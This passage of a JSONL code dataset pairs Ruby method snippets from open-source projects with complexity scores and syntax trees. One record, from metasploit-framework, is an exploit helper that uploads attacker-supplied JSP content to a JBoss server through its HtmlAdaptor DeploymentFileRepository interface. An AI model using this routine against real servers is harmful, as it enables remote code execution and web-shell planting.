end","complexity_score":49.9,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"cast_value\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"env_var_name\"]},{\"type\":\"kwarg\",\"children\":[\"env_var_value_string\"]},{\"type\":\"kwarg\",\"children\":[\"setting_type\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"setting_type\"]},\"==\",{\"type\":\"const\",\"children\":[null,\"String\"]}]},{\"type\":\"lvar\",\"children\":[\"env_var_value_string\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"setting_type\"]},\"==\",{\"type\":\"const\",\"children\":[null,\"Integer\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"env_var_value_string\"]},\"to_i\"]},\"to_s\"]},\"==\",{\"type\":\"lvar\",\"children\":[\"env_var_value_string\"]}]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"ENV var '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"env_var_name\"]}]},{\"type\":\"str\",\"children\":[\"' value could not be cast to Integer type.\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"env_var_value_string\"]},\"to_i\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"setting_type\"]},\"==\",{\"type\":\"sym\",\"children\":[\"Boolean\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"env_var_value_string\"]},\"==\",{\"type\":\"str\",\"children\":[\"true\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"env_var_value_string\"]},\"==\",{\"type\":\"str\",\"children\":[\"false\"]}]}]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"ENV var '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"env_var_name\"]}]},{\"type\":\"str\",\"children\":[\"' value could not be cast to boolean type, value must be 'true' or 'false'\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"env_var_value_string\"]},\"==\",{\"type\":\"str\",\"children\":[\"true\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"setting_type\"]},\"==\",{\"type\":\"const\",\"children\":[null,\"Hash\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"parsed_value\",{\"type\":\"send\",\"children\":[null,\"parse_json\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"env_var_name\"]},{\"type\":\"lvar\",\"children\":[\"env_var_name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"value\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"env_var_value_string\"]},\"to_s\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parsed_value\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Hash\"]}]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"ENV var '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"env_var_name\"]}]},{\"type\":\"str\",\"children\":[\"' was a JSON array type, but it should be an object type\"]}]}]}]},{\"type\":\"lvar\",\"children\":[\"parsed_value\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"setting_type\"]},\"==\",{\"type\":\"const\",\"children\":[null,\"Array\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"parsed_value\",{\"type\":\"send\",\"children\":[null,\"parse_json\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"env_var_name\"]},{\"type\":\"lvar\",\"children\":[\"env_var_name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"value\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"env_var_value_string\"]},\"to_s\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parsed_value\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Array\"]}]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"ENV var '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"env_var_name\"]}]},{\"type\":\"str\",\"children\":[\"' was a JSON object type, but it should be an array type\"]}]}]}]},{\"type\":\"lvar\",\"children\":[\"parsed_value\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Unsupported setting type: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"setting_type\"]}]}]}]}]}]}]}]}]}]}","id":"5abf1129-c7fc-4f25-adc8-9fa96f37ae29"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/bulk_imports/ndjson_pipeline.rb","start_line":135,"raw_source":"def object_builder\n        \"Gitlab::ImportExport::#{portable.class}::ObjectBuilder\".constantize\n      end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"object_builder\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Gitlab::ImportExport::\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"portable\"]},\"class\"]}]},{\"type\":\"str\",\"children\":[\"::ObjectBuilder\"]}]},\"constantize\"]}]}","id":"9aaf8dfb-9f3e-4059-932c-c91e54ed2f22"}
{"repo_name":"forem","file_path":"./repos/forem/app/services/user_query_variable_substitutor.rb","start_line":222,"raw_source":"def escape_value_for_sql(value)\n    case value\n    when String\n      ActiveRecord::Base.connection.quote(value)\n    when Integer\n      value.to_s\n    when TrueClass, FalseClass\n      value.to_s.upcase\n    when Array\n      # For arrays, create a comma-separated quoted list\n      value.map { |v| ActiveRecord::Base.connection.quote(v.to_s) }.join(', ')\n    else\n      ActiveRecord::Base.connection.quote(value.to_s)\n    end\n  end","complexity_score":24.4,"ast_json":"{\"type\":\"def\",\"children\":[\"escape_value_for_sql\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[null,\"String\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]},\"connection\"]},\"quote\",{\"type\":\"lvar\",\"children\":[\"value\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Integer\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"to_s\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TrueClass\"]},{\"type\":\"const\",\"children\":[null,\"FalseClass\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"to_s\"]},\"upcase\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Array\"]},{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"v\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]},\"connection\"]},\"quote\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"v\"]},\"to_s\"]}]}]},\"join\",{\"type\":\"str\",\"children\":[\", \"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]},\"connection\"]},\"quote\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"to_s\"]}]}]}]}","id":"994ef52f-b74c-4af9-a49e-9f3ec54182d9"}
{"repo_name":"spree","file_path":"./repos/spree/core/app/finders/spree/products/find.rb","start_line":227,"raw_source":"def by_properties(products)\n        return products unless properties?\n\n        product_ids = []\n        index = 0\n\n        properties.to_unsafe_hash.each do |property_filter_param, product_properties_values|\n          next if property_filter_param.blank? || product_properties_values.empty?\n\n          values = product_properties_values.split(',').reject(&:empty?).uniq.map(&:parameterize)\n\n          next if values.empty?\n\n          ids = scope.unscope(:order, :includes).with_property_values(property_filter_param, values).ids\n          product_ids = index == 0 ? ids : product_ids & ids\n          index += 1\n        end\n\n        products.where(id: product_ids)\n      end","complexity_score":42.25,"ast_json":"{\"type\":\"def\",\"children\":[\"by_properties\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"products\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"properties?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"products\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"product_ids\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"index\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"properties\"]},\"to_unsafe_hash\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"property_filter_param\"]},{\"type\":\"arg\",\"children\":[\"product_properties_values\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"property_filter_param\"]},\"blank?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"product_properties_values\"]},\"empty?\"]}]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"values\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"product_properties_values\"]},\"split\",{\"type\":\"str\",\"children\":[\",\"]}]},\"reject\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"empty?\"]}]}]},\"uniq\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"parameterize\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"values\"]},\"empty?\"]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"ids\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"scope\"]},\"unscope\",{\"type\":\"sym\",\"children\":[\"order\"]},{\"type\":\"sym\",\"children\":[\"includes\"]}]},\"with_property_values\",{\"type\":\"lvar\",\"children\":[\"property_filter_param\"]},{\"type\":\"lvar\",\"children\":[\"values\"]}]},\"ids\"]}]},{\"type\":\"lvasgn\",\"children\":[\"product_ids\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"index\"]},\"==\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"lvar\",\"children\":[\"ids\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"product_ids\"]},\"&\",{\"type\":\"lvar\",\"children\":[\"ids\"]}]}]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"index\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"products\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"lvar\",\"children\":[\"product_ids\"]}]}]}]}]}]}","id":"d747b85b-5e3e-4e01-b8dd-d06e16cedb1a"}
{"repo_name":"forem","file_path":"./repos/forem/app/services/admin/stats_data.rb","start_line":7,"raw_source":"def call\n      time_range = @period.days.ago.beginning_of_day..Time.current\n\n      {\n        published_posts: Article.where(published_at: time_range).count,\n        comments: Comment.where(created_at: time_range).count,\n        public_reactions: Reaction.public_category.where(created_at: time_range).count,\n        new_users: User.where(registered_at: time_range).count,\n        period: @period\n      }\n    end","complexity_score":15.8,"ast_json":"{\"type\":\"def\",\"children\":[\"call\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"time_range\",{\"type\":\"irange\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@period\"]},\"days\"]},\"ago\"]},\"beginning_of_day\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"current\"]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"published_posts\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Article\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"published_at\"]},{\"type\":\"lvar\",\"children\":[\"time_range\"]}]}]}]},\"count\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"comments\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Comment\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"created_at\"]},{\"type\":\"lvar\",\"children\":[\"time_range\"]}]}]}]},\"count\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"public_reactions\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Reaction\"]},\"public_category\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"created_at\"]},{\"type\":\"lvar\",\"children\":[\"time_range\"]}]}]}]},\"count\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"new_users\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"registered_at\"]},{\"type\":\"lvar\",\"children\":[\"time_range\"]}]}]}]},\"count\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"period\"]},{\"type\":\"ivar\",\"children\":[\"@period\"]}]}]}]}]}","id":"fcee0746-3a98-4bdd-b3fc-570f286292f4"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/notification_recipient.rb","start_line":87,"raw_source":"def own_activity?\n    return false unless @acting_user\n\n    if user == @acting_user\n      # if activity was generated by the same user, change reason to :own_activity\n      @reason = NotificationReason::OWN_ACTIVITY\n      # If the user wants to be notified, we must return `false`\n      !@acting_user.notified_of_own_activity?\n    else\n      false\n    end\n  end","complexity_score":8.0,"ast_json":"{\"type\":\"def\",\"children\":[\"own_activity?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@acting_user\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user\"]},\"==\",{\"type\":\"ivar\",\"children\":[\"@acting_user\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@reason\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"NotificationReason\"]},\"OWN_ACTIVITY\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@acting_user\"]},\"notified_of_own_activity?\"]},\"!\"]}]},{\"type\":\"false\",\"children\":[]}]}]}]}","id":"21c0de91-56fc-438b-a1c5-800809bc9b98"}
{"repo_name":"discourse","file_path":"./repos/discourse/spec/system/page_objects/pages/form_template.rb","start_line":11,"raw_source":"def visit_new\n        page.visit(\"/admin/customize/form-templates/new\")\n        self\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"visit_new\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"page\"]},\"visit\",{\"type\":\"str\",\"children\":[\"/admin/customize/form-templates/new\"]}]},{\"type\":\"self\",\"children\":[]}]}]}","id":"31986843-f597-4060-a9e0-9881a4d80f96"}
{"repo_name":"dawarich","file_path":"./repos/dawarich/app/controllers/api/v1/visits_controller.rb","start_line":99,"raw_source":"def merge_params\n    params.permit(visit_ids: [])\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"merge_params\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"permit\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"visit_ids\"]},{\"type\":\"array\",\"children\":[]}]}]}]}]}","id":"2e5c2fc3-f5e0-43ca-b82e-e57a3bac7069"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/exploit/remote/http/jboss/deployment_file_repository.rb","start_line":11,"raw_source":"def upload_file(base_name, jsp_name, content)\n    params =  { }\n    params.compare_by_identity\n    params['action']     = 'invokeOpByName'\n    params['name']       = 'jboss.admin:service=DeploymentFileRepository'\n    params['methodName'] = 'store'\n    params['argType']    = 'java.lang.String'\n    params['arg0']       = base_name + '.war'\n    params['argType']    = 'java.lang.String'\n    params['arg1']       = jsp_name\n    params['argType']    = 'java.lang.String'\n    params['arg2']       = '.jsp'\n    params['argType']    = 'java.lang.String'\n    params['arg3']       = content\n    params['argType']    = 'boolean'\n    params['arg4']       = 'True'\n\n    opts = {\n      'method'\t=> http_verb,\n      'uri'    => normalize_uri(target_uri.path.to_s, '/HtmlAdaptor')\n    }\n\n    if http_verb == 'POST'\n      opts.merge!('vars_post' => params)\n    else\n      opts.merge!('vars_get' => params)\n    end\n\n    send_request_cgi(opts)\n  end","complexity_score":29.6,"ast_json":"{\"type\":\"def\",\"children\":[\"upload_file\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"base_name\"]},{\"type\":\"arg\",\"children\":[\"jsp_name\"]},{\"type\":\"arg\",\"children\":[\"content\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"params\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"compare_by_identity\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"action\"]},{\"type\":\"str\",\"children\":[\"invokeOpByName\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"jboss.admin:service=DeploymentFileRepository\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"methodName\"]},{\"type\":\"str\",\"children\":[\"store\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"argType\"]},{\"type\":\"str\",\"children\":[\"java.lang.String\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"arg0\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"base_name\"]},\"+\",{\"type\":\"str\",\"children\":[\".war\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"argType\"]},{\"type\":\"str\",\"children\":[\"java.lang.String\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"arg1\"]},{\"type\":\"lvar\",\"children\":[\"jsp_name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"argType\"]},{\"type\":\"str\",\"children\":[\"java.lang.String\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"arg2\"]},{\"type\":\"str\",\"children\":[\".jsp\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"argType\"]},{\"type\":\"str\",\"children\":[\"java.lang.String\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"arg3\"]},{\"type\":\"lvar\",\"children\":[\"content\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"argType\"]},{\"type\":\"str\",\"children\":[\"boolean\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"arg4\"]},{\"type\":\"str\",\"children\":[\"True\"]}]},{\"type\":\"lvasgn\",\"children\":[\"opts\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"send\",\"children\":[null,\"http_verb\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},\"to_s\"]},{\"type\":\"str\",\"children\":[\"/HtmlAdaptor\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"http_verb\"]},\"==\",{\"type\":\"str\",\"children\":[\"POST\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"merge!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"vars_post\"]},{\"type\":\"lvar\",\"children\":[\"params\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"merge!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"vars_get\"]},{\"type\":\"lvar\",\"children\":[\"params\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"lvar\",\"children\":[\"opts\"]}]}]}]}","id":"914f1c7c-cf9b-494a-b60e-1344343f12f9"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/tree_summary.rb","start_line":74,"raw_source":"def ensured_path\n      File.join(*[path, \"\"]) if path\n    end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"ensured_path\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"path\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"splat\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"path\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]}]},null]}]}","id":"a1d765b2-5dc0-4720-a1a7-48794ea05a6b"}
{"repo_name":"forem","file_path":"./repos/forem/app/services/authentication/providers/apple.rb","start_line":61,"raw_source":"def user_nickname\n        if info.first_name.present? || info.last_name.present?\n          # We sometimes get `info.first_name` and `info.last_name`\n          [\n            info.first_name&.downcase,\n            info.last_name&.downcase,\n            Digest::SHA512.hexdigest(info.email),\n          ].join(\"_\")[0...25]\n        else\n          # This covers an edge case where the Apple Id has already given\n          # permissions to the forem auth and we don't have anything else\n          # to work with other than the email\n          [\"user\", Digest::SHA512.hexdigest(info.email)].join(\"_\")[0...15]\n        end\n      end","complexity_score":35.4,"ast_json":"{\"type\":\"def\",\"children\":[\"user_nickname\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"info\"]},\"first_name\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"info\"]},\"last_name\"]},\"present?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"info\"]},\"first_name\"]},\"downcase\"]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"info\"]},\"last_name\"]},\"downcase\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Digest\"]},\"SHA512\"]},\"hexdigest\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"info\"]},\"email\"]}]}]},\"join\",{\"type\":\"str\",\"children\":[\"_\"]}]},\"[]\",{\"type\":\"erange\",\"children\":[{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[25]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"user\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Digest\"]},\"SHA512\"]},\"hexdigest\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"info\"]},\"email\"]}]}]},\"join\",{\"type\":\"str\",\"children\":[\"_\"]}]},\"[]\",{\"type\":\"erange\",\"children\":[{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[15]}]}]}]}]}","id":"828e0d5e-c94b-4dd6-a0dd-93dfef44e12e"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/lib/fluent/plugin_helper/http_server/request.rb","start_line":47,"raw_source":"def body\n          @request.body&.read\n        end","complexity_score":2.3,"ast_json":"{\"type\":\"def\",\"children\":[\"body\",{\"type\":\"args\",\"children\":[]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@request\"]},\"body\"]},\"read\"]}]}","id":"959ab365-06cd-4627-bc99-e42c73e83dd0"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/spec/support/evm_spec_helper.rb","start_line":76,"raw_source":"private_class_method def self.settings_load(dump)\n    Marshal.load(dump).tap do |settings|\n      # Marshal dump of Settings loses the config_sources, so we need to restore manually\n      settings.instance_variable_set(:@config_sources, dump.instance_variable_get(:@config_sources).dup)\n    end\n  